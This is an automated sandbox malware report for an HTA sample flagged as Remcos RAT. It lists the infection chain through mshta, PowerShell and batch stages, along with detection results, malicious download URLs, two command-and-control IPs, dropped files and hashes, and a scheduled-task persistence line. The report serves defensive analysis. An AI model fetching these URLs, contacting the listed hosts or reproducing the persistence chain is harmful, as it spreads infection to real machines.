Scheduled Task/Job		2
Valid Accounts		Cached Domain Credentials121
Virtualization/Sandbox Evasion		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup Items2
Registry Run Keys / Startup Folder		121
Virtualization/Sandbox Evasion		DCSync4
Process Discovery		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
Access Token Manipulation		Proc Filesystem11
Application Window Discovery		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt12
Process Injection		/etc/passwd and /etc/shadow1
System Owner/User Discovery		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1589383 Sample: c.hta Startdate: 12/01/2025 Architecture: WINDOWS Score: 100 98 Antivirus detection for URL or domain 2->98 100 Sigma detected: Remcos 2->100 102 Sigma detected: Search for Antivirus process 2->102 104 12 other signatures 2->104 12 mshta.exe 1 2->12         started        15 wscript.exe 2->15         started        17 wscript.exe 2->17         started        process3 signatures4 116 Suspicious powershell command line found 12->116 19 powershell.exe 15 15 12->19         started        118 Windows Scripting host queries suspicious COM object (likely to drop second stage) 15->118 24 LinkHub.com 15->24         started        26 LinkHub.com 17->26         started        process5 dnsIp6 92 193.26.115.39 QUICKPACKETUS Netherlands 19->92 78 C:\Users\user\AppData\Local\Temp\c2.bat, ASCII 19->78 dropped 112 Drops large PE files 19->112 114 Powershell drops PE file 19->114 28 cmd.exe 3 2 19->28         started        31 conhost.exe 19->31         started        file7 signatures8 process9 signatures10 120 Suspicious powershell command line found 28->120 122 Drops PE files with a suspicious file extension 28->122 124 Uses schtasks.exe or at.exe to add and modify task schedules 28->124 33 msword.exe 28->33         started        36 powershell.exe 28->36         started        39 powershell.exe 16 28->39         started        41 2 other processes 28->41 process11 file12 94 Multi AV Scanner detection for dropped file 33->94 43 cmd.exe 33->43         started        80 C:\Users\user\AppData\Local\...\msword.exe, PE32 36->80 dropped 96 Loading BitLocker PowerShell Module 36->96 82 C:\Users\user\AppData\Local\Temp\msword.zip, Zip 39->82 dropped 84 C:\Users\user\Downloads\W2.pdf, PDF 41->84 dropped 46 AcroCEF.exe 107 41->46         started        signatures13 process14 file15 86 C:\Users\user\AppData\Local\...\Propose.com, PE32 43->86 dropped 48 Propose.com 43->48         started        53 conhost.exe 43->53         started        55 tasklist.exe 43->55         started        59 9 other processes 43->59 57 AcroCEF.exe 46->57         started        process16 dnsIp17 90 178.237.33.50 ATOM86-ASATOM86NL Netherlands 48->90 72 C:\Users\user\AppData\Local\...\LinkHub.com, PE32 48->72 dropped 74 C:\Users\user\AppData\Local\...\LinkHub.js, ASCII 48->74 dropped 76 C:\ProgramData\remcos\logs.dat, data 48->76 dropped 106 Detected Remcos RAT 48->106 108 Drops PE files with a suspicious file extension 48->108 110 Installs a global keyboard hook 48->110 61 cmd.exe 48->61         started        64 cmd.exe 48->64         started        file18 signatures19 process20 file21 88 C:\Users\user\AppData\Roaming\...\LinkHub.url, MS 61->88 dropped 66 conhost.exe 61->66         started        68 conhost.exe 64->68         started        70 schtasks.exe 64->70         started        process22

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.com0%ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com0%ReversingLabs
C:\Users\user\AppData\Local\Temp\msword\msword.exe16%ReversingLabsWin32.Backdoor.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

SourceDetectionScannerLabelLink
https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN100%Avira URL Cloudphishing
https://myguyapp.com/W2.pdf8100%Avira URL Cloudphishing
https://myguyapp.com/msword.zi100%Avira URL Cloudphishing
https://myguyapp.com/msword.zip:100%Avira URL Cloudphishing
https://myguyapp.com/msword.zipsH100%Avira URL Cloudphishing
https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERD100%Avira URL Cloudphishing
https://myguyapp.c0%Avira URL Cloudsafe
https://myguyapp.com/W2.pdfl100%Avira URL Cloudphishing
https://myguyapp.com/W2.pdfqH100%Avira URL Cloudphishing
https://candwfarmsllc.com/c2.bat100%Avira URL Cloudmalware
https://candwfarmsllc.com0%Avira URL Cloudsafe
https://myguyapp.com/msword.zipurl2=h100%Avira URL Cloudphishing
https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLR100%Avira URL Cloudphishing
https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROA100%Avira URL Cloudphishing
https://myguyapp.com/mB100%Avira URL Cloudphishing
http://candwfarmsllc.com0%Avira URL Cloudsafe
https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROAMINGP100%Avira URL Cloudphishing
https://myguyapp.com/msword.zipzS100%Avira URL Cloudphishing
https://myguyapp.com/msword.zipi100%Avira URL Cloudphishing
https://myguyapp.com/msword.zipj100%Avira URL Cloudphishing
http://www.microsoft.coa0%Avira URL Cloudsafe
https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSE100%Avira URL Cloudphishing
https://myguyapp.com/W2.pdfxS100%Avira URL Cloudphishing

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
https://myguyapp.com/msword.zipcmd.exe, 00000004.00000003.1703265589.0000000002A92000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000003.1680124265.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025460494.0000000002290000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025541625.0000000002480000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2043113864.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042155343.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042892324.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043569674.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043809738.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043942387.0000000003080000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047509229.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047279430.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047975980.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047866470.00000000009C0000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2048091220.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051485159.0000000000650000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107396862.0000000003070000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpfalse
    		high
    http://nuget.org/NuGet.exepowershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpfalse
      		high
      http://x1.i.lencr.org/2D85F72862B55C4EADD9E66E06947F3D0.8.drfalse
        		high
        https://myguyapp.com/msword.zip:cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: phishing
        		unknown
        https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAINcmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: phishing
        		unknown
        https://myguyapp.com/msword.zipsHextrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmpfalse
        • Avira URL Cloud: phishing
        		unknown
        http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000002.00000002.1684264668.0000000004E66000.00000004.00000800.00020000.00000000.sdmpfalse
          		high
          https://myguyapp.com/W2.pdflmsword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmpfalse
          • Avira URL Cloud: phishing
          		unknown
          http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000002.00000002.1684264668.0000000004E66000.00000004.00000800.00020000.00000000.sdmpfalse
            		high
            https://myguyapp.com/W2.pdf8cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpfalse
            • Avira URL Cloud: phishing
            		unknown
            https://contoso.com/Licensepowershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpfalse
              		high
              https://contoso.com/Iconpowershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpfalse
                		high
                https://myguyapp.com/msword.zicmd.exe, 00000004.00000002.2006995200.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: phishing
                		unknown
                https://myguyapp.ccmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2006995200.0000000002A5A000.00000004.00000020.00020000.00000000.sdmptrue
                • Avira URL Cloud: safe
                		unknown
                http://www.autoitscript.com/autoit3/XPropose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000001C.00000000.2055666013.0000000000AD5000.00000002.00000001.01000000.00000010.sdmp, LinkHub.com, 00000024.00000000.2076341053.0000000000EA5000.00000002.00000001.01000000.00000012.sdmp, LinkHub.com, 00000026.00000002.2215592158.0000000000AE5000.00000002.00000001.01000000.00000012.sdmp, LinkHub.com.28.dr, Clinton.24.drfalse
                  		high
                  https://myguyapp.com/W2.pdfqHextrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: phishing
                  		unknown
                  http://nsis.sf.net/NSIS_ErrorErrormsword.exe, 00000010.00000000.2005722687.0000000000408000.00000002.00000001.01000000.0000000D.sdmp, msword.exe, 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmp, msword.exe.12.drfalse
                    		high
                    https://www.autoitscript.com/autoit3/Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drfalse
                      		high
                      https://candwfarmsllc.com/c2.batpowershell.exe, 00000002.00000002.1680770747.0000000002A30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1682926508.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp, c.htatrue
                      • Avira URL Cloud: malware
                      		unknown
                      https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDtasklist.exe, 00000015.00000002.2047866470.00000000009C0000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: phishing
                      		unknown
                      https://github.com/Pester/Pesterpowershell.exe, 00000002.00000002.1684264668.0000000004E66000.00000004.00000800.00020000.00000000.sdmpfalse
                        		high
                        https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROAPropose.com, 0000001C.00000003.2062260353.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2063420567.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062013078.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062038789.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062103447.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2063477046.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062147909.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062060275.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062081491.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062125358.00000000009F4000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRcmd.exe, 00000004.00000002.2006995200.0000000002A7B000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        https://myguyapp.com/msword.zipurl2=hcmd.exe, 00000004.00000002.2006995200.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        https://candwfarmsllc.commshta.exe, 00000000.00000002.1696324768.0000000003095000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1684264668.0000000004F3D000.00000004.00000800.00020000.00000000.sdmptrue
                        • Avira URL Cloud: safe
                        		unknown
                        https://myguyapp.com/msword.zipzSchoice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: phishing
                        		unknown
                        https://aka.ms/pscore6lBpowershell.exe, 00000002.00000002.1684264668.0000000004D11000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          https://myguyapp.com/W2.pdfpowershell.exe, 00000002.00000002.1684264668.00000000050C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1684264668.00000000050BD000.00000004.00000800.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025460494.0000000002290000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025541625.0000000002480000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2043113864.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042155343.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042892324.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043569674.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043809738.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043942387.0000000003080000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047509229.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047279430.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047975980.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047866470.00000000009C0000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2048091220.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051485159.0000000000650000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107396862.0000000003070000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            http://candwfarmsllc.compowershell.exe, 00000002.00000002.1684264668.000000000509C000.00000004.00000800.00020000.00000000.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://contoso.com/powershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://nuget.org/nuget.exepowershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://myguyapp.com/mBtasklist.exe, 00000013.00000003.2042155343.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042892324.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043831819.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2043033027.0000000002DF2000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: phishing
                                		unknown
                                https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROAMINGPcmd.exe, 00000021.00000002.2064562802.0000000002930000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: phishing
                                		unknown
                                https://myguyapp.com/msword.zipjmsword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: phishing
                                		unknown
                                https://myguyapp.com/msword.zipitasklist.exe, 00000015.00000003.2047509229.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047279430.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2048091220.0000000000ADE000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: phishing
                                		unknown
                                https://myguyapp.com/W2.pdfxSchoice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmpfalse
                                • Avira URL Cloud: phishing
                                		unknown
                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000002.00000002.1684264668.0000000004D11000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSEcmd.exe, 00000004.00000003.2005828687.0000000002A2F000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: phishing
                                  		unknown
                                  http://www.microsoft.coapowershell.exe, 00000002.00000002.1680770747.0000000002A6B000.00000004.00000020.00020000.00000000.sdmpfalse
                                  • Avira URL Cloud: safe
                                  		unknown

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  178.237.33.50
                                  		unknownNetherlands
                                  		8455ATOM86-ASATOM86NLfalse
                                  193.26.115.39
                                  		unknownNetherlands
                                  		46261QUICKPACKETUSfalse

                                  General Information

                                  Joe Sandbox version:42.0.0 Malachite
                                  Analysis ID:1589383
                                  Start date and time:2025-01-12 04:18:10 +01:00
                                  Joe Sandbox product:CloudBasic
                                  Overall analysis duration:0h 9m 57s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                  Number of analysed new started processes analysed:40
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample name:c.hta
                                  Detection:MAL
                                  Classification:mal100.troj.spyw.expl.evad.winHTA@70/102@0/2
                                  EGA Information:
                                  • Successful, ratio: 100%
                                  HCA Information:
                                  • Successful, ratio: 98%
                                  • Number of executed functions: 91
                                  • Number of non-executed functions: 299
                                  Cookbook Comments:
                                  • Found application associated with file extension: .hta

                                  Warnings

                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                  • Excluded IPs from analysis (whitelisted): 184.28.88.176, 50.16.47.176, 54.224.241.105, 34.237.241.83, 18.213.11.84, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 217.20.57.34, 23.209.209.135, 2.22.242.11, 2.22.242.123, 184.26.41.186, 184.26.41.208, 192.168.2.4, 184.28.90.27, 4.245.163.56, 23.56.162.204, 13.107.246.45
                                  • Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, geo2.adobe.com, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
                                  • Not all processes where analyzed, report is missing behavior information
                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                  • Report size exceeded maximum capacity and may have missing disassembly code.
                                  • Report size getting too big, too many NtCreateFile calls found.
                                  • Report size getting too big, too many NtCreateKey calls found.
                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                  • Report size getting too big, too many NtSetInformationFile calls found.

                                  Simulations

                                  Behavior and APIs

                                  TimeTypeDescription
                                  03:19:41Task SchedulerRun new task: Murray path: wscript s>//B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
                                  03:19:45AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LinkHub.url
                                  22:18:59API Interceptor1x Sleep call for process: mshta.exe modified
                                  22:19:00API Interceptor101x Sleep call for process: powershell.exe modified
                                  22:19:19API Interceptor2x Sleep call for process: AcroCEF.exe modified
                                  22:19:36API Interceptor1x Sleep call for process: msword.exe modified
                                  22:20:41API Interceptor72x Sleep call for process: Propose.com modified

                                  Joe Sandbox View / Context

                                  IPs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  178.237.33.50c2.htaGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  c2.htaGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  I1ahLI8fId.exeGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  yPIOW6yoPi.exeGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  bwYw3UUfy7.exeGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  1736491685b40eefbc9bdfbc98216071e6ff3a4c19c7e1ab8a144cde35036665da85346b6b949.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  Material Requirments.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                  • geoplugin.net/json.gp
                                  preliminary drawing.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                  • geoplugin.net/json.gp
                                  DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exeGet hashmaliciousRemcosBrowse
                                  • geoplugin.net/json.gp
                                  z58Swiftcopy_MT.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                  • geoplugin.net/json.gp
                                  193.26.115.39c1.htaGet hashmaliciousUnknownBrowse
                                    c2.htaGet hashmaliciousRemcosBrowse
                                      c2.htaGet hashmaliciousRemcosBrowse
                                        c2.htaGet hashmaliciousRemcosBrowse
                                          c2.htaGet hashmaliciousRemcosBrowse
                                            RailProvides_nopump.exeGet hashmaliciousRemcosBrowse
                                              c2.htaGet hashmaliciousRemcosBrowse
                                                9W9jJCj9EV.batGet hashmaliciousRemcosBrowse
                                                  c2.htaGet hashmaliciousRemcosBrowse
                                                    c2.htaGet hashmaliciousRemcosBrowse

                                                      Domains

                                                      ⊘No context

                                                      ASNs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      ATOM86-ASATOM86NLc2.htaGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      I1ahLI8fId.exeGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      yPIOW6yoPi.exeGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      bwYw3UUfy7.exeGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      1736491685b40eefbc9bdfbc98216071e6ff3a4c19c7e1ab8a144cde35036665da85346b6b949.dat-decoded.exeGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      Material Requirments.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                      • 178.237.33.50
                                                      preliminary drawing.pif.exeGet hashmaliciousRemcos, PureLog StealerBrowse
                                                      • 178.237.33.50
                                                      DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exeGet hashmaliciousRemcosBrowse
                                                      • 178.237.33.50
                                                      z58Swiftcopy_MT.bat.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 178.237.33.50
                                                      QUICKPACKETUSc1.htaGet hashmaliciousUnknownBrowse
                                                      • 193.26.115.39
                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                      • 193.26.115.39
                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                      • 193.26.115.39
                                                      RFQ-20241230.pif.exeGet hashmaliciousRemcosBrowse
                                                      • 173.211.106.233
                                                      Suppliers_Data.pif.exeGet hashmaliciousRemcosBrowse
                                                      • 173.211.106.233
                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                      • 193.26.115.39
                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                      • 193.26.115.39
                                                      RailProvides_nopump.exeGet hashmaliciousRemcosBrowse
                                                      • 193.26.115.39
                                                      c2.htaGet hashmaliciousRemcosBrowse
                                                      • 193.26.115.39
                                                      https://z97f4f2525fyg27.webflow.io/Get hashmaliciousHTMLPhisherBrowse
                                                      • 172.82.129.154

                                                      JA3 Fingerprints

                                                      ⊘No context

                                                      Dropped Files

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comc2.htaGet hashmaliciousRemcosBrowse
                                                        c2.htaGet hashmaliciousRemcosBrowse
                                                          Setup.exeGet hashmaliciousLummaCBrowse
                                                            Setup.exeGet hashmaliciousLummaCBrowse
                                                              Setup.exeGet hashmaliciousLummaCBrowse
                                                                Full-Ver_Setup.exeGet hashmaliciousLummaC StealerBrowse
                                                                  random.exeGet hashmaliciousLummaC StealerBrowse
                                                                    HouseholdsClicking.exeGet hashmaliciousLummaCBrowse
                                                                      DodSussex.exeGet hashmaliciousLummaC StealerBrowse
                                                                        DangerousMidlands.exeGet hashmaliciousLummaC StealerBrowse

                                                                          Created / dropped Files

                                                                          C:\ProgramData\remcos\logs.dat

                                                                          Download File
                                                                          Process:C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
                                                                          File Type:data
                                                                          Category:dropped
                                                                          Size (bytes):144
                                                                          Entropy (8bit):3.326674657666219
                                                                          Encrypted:false
                                                                          SSDEEP:3:rglsPldlnelCl55JWRal2Jl+7R0DAlBG45klovDl6v:MlsPlelCb5YcIeeDAlOWAv
                                                                          MD5:613121A2DB138893DC720661DF152F70
                                                                          SHA1:E3A10F8E18DD29BF6DB936EC1B0EA1628D49A164
                                                                          SHA-256:BE9107929BE5113B680964D41372B133638FF69123B35C2C4A83DED2224ACC4D
                                                                          SHA-512:CFD5CE8E30EA51EEBBAF6DA18533D525E8E1B6C363842FFDF1A17D617CC328ECCFDC14441DE3CB4AFBF2033E273AEF7DF8BF4B3398580B4AF835F32D28D6A24A
                                                                          Malicious:true
